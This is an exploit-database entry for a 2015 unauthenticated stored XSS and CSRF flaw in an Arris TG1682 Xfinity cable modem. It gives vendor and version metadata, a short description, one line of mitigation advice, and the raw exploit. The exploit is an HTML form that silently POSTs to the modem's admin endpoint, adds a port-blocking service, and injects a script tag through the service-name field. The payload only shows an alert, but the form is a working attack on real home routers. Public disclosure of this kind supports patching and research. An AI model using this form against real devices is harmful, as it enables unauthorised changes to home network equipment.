Unauthenticated Stored Xss

vendor:

TG1682_2.0s7_PRODse

by:

Nu11By73

8,8

CVSS

HIGH

Cross-Site Scripting (XSS)

CWE

Product Name: TG1682_2.0s7_PRODse

Affected Version From: 10.0.59.SIP.PC20.CT

Affected Version To: TG1682_2.0s7_PRODse

Patch Exists: N/A

Related CWE: N/A

CPE: h:arrisi:tg1682_2.0s7_prodse

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Default Install

2015

This exploit is a stored XSS vulnerability in the Xfinity Modem. An attacker can craft a malicious POST request with a malicious service name, which will be stored in the modem and executed when the page is loaded. This can be used to execute arbitrary JavaScript code on the modem.

Mitigation:

Input validation should be used to prevent malicious code from being stored in the modem.

Source

Exploit-DB raw data:

<!--
# Exploit Title: Unauthenticated Stored Xss
# Date: 11/6/15
# Exploit Author: Nu11By73
# Vendor Homepage: comcast.net and arrisi.com
# Version:  eMTA & DOCSIS Software Version: 10.0.59.SIP.PC20.CT
Software Image Name:TG1682_2.0s7_PRODse
Advanced Services:TG1682G
Packet Cable:2.0
# Tested on: Default Install
-->

<html>
<p>Unauth Stored CSRF/XSS - Xfinity Modem</p>
<form method="POST" action="http://192.168.0.1/actionHandler/ajax_managed_services.php">
<input type="hidden" name="set" value="true" />
<input type="hidden" name="UMSStatus" value="Enabled" />
<input type="hidden" name="add" value="true" />
<input type="hidden" name="service" value="test><script>alert(1)</script>" / >
<input type="hidden" name="protocol" value="TCP" / >
<input type="hidden" name="startPort" value="1" />
<input type="hidden" name="endPort" value="2" />
<input type="hidden" name="block" value="true" />
<input type="submit" title="Enable Service" />
</form>
</html>